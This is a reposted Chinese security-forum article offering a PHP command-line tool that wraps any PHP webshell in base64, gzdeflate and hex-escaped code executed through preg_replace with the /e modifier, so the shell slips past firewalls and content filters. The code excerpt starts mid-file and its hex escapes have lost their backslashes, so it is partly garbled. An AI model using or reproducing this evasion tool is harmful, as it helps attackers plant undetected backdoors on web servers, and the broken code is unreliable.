php shell 超强免杀、减少体积工具

admin 2021年4月3日19:31:47评论53 views字数 133阅读0分26秒阅读模式

这不是webshell,只是个webshell免杀工具

切勿当初webshell使用

仅限免杀phpwebshell

该工具运行在 cli 模式!

 

如果有无法突破的文件内容过滤 可尝试下用这个工具 免杀大马!

任意php webshell 通过此工具编码之后可以饶过国内一些bt的防火墙

');
$enfile=base64_encode(gzdeflate($no_php_tag));
$shellcode="x3cx3fx70x68x70xdxa";
$shellcode.='$enfile='.'"'."{$enfile}".'"'.';'."xdxa";
$shellcode.="x24x62x3dx73x74x72x5fx72x65x70x6cx61x63x65x28x27x66x27x2cx22x22x2cx22x62x66x61x66x73x66x65x66x36x66x34x66x5fx66x66x64x66x66x65x66x66x63x66x66x6fx66x66x64x66x66x65x66x22x29x3bxdxax24x67x3dx73x74x72x5fx72x65x70x6cx61x63x65x28x27x58x27x2cx27x27x2cx27x67x58x58x7ax58x58x69x58x58x6ex58x58x58x58x66x58x58x58x6cx58x58x61x58x58x58x74x58x58x58x58x58x65x27x29x3bxdxax70x72x65x67x5fx72x65x70x6cx61x63x65x28x27x5cx27x61x5cx27x65x69x73x27x2cx27x65x27x2ex27x76x27x2ex27x61x27x2ex27x6cx27x2ex27x28x24x67x28x24x62x28x24x65x6ex66x69x6cx65x29x29x29x27x2cx27x61x27x29x3bxdxa";
$shellcode.="x3fx3e";
file_put_contents("$output_file",$shellcode);
}
function baner($toolname){
echo "PHP shell nokill T00Lrn";
echo "Blog: exploit-db.blogcn.comrn";
echo "Usage: {$toolname} phpwebshellrn";
}
?>

转自:http://forum.90sec.org/thread-3521-1-1.html

文章来源于lcx.cc:php shell 超强免杀、减少体积工具

相关推荐: 定位GFW的python脚本,如何找到GFW设备的IP地址

github上有人释出了一个python脚本mongol.py,可以定位中国防火长城的物理位置和数量。 mongol.py以密歇根大学计算机系的Xueyang Xu和Z. Morley Mao在2011年发表的一篇论文为理论依据,发送“tibetalk“这个关…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月3日19:31:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   php shell 超强免杀、减少体积工具http://cn-sec.com/archives/323206.html

发表评论

匿名网友 填写信息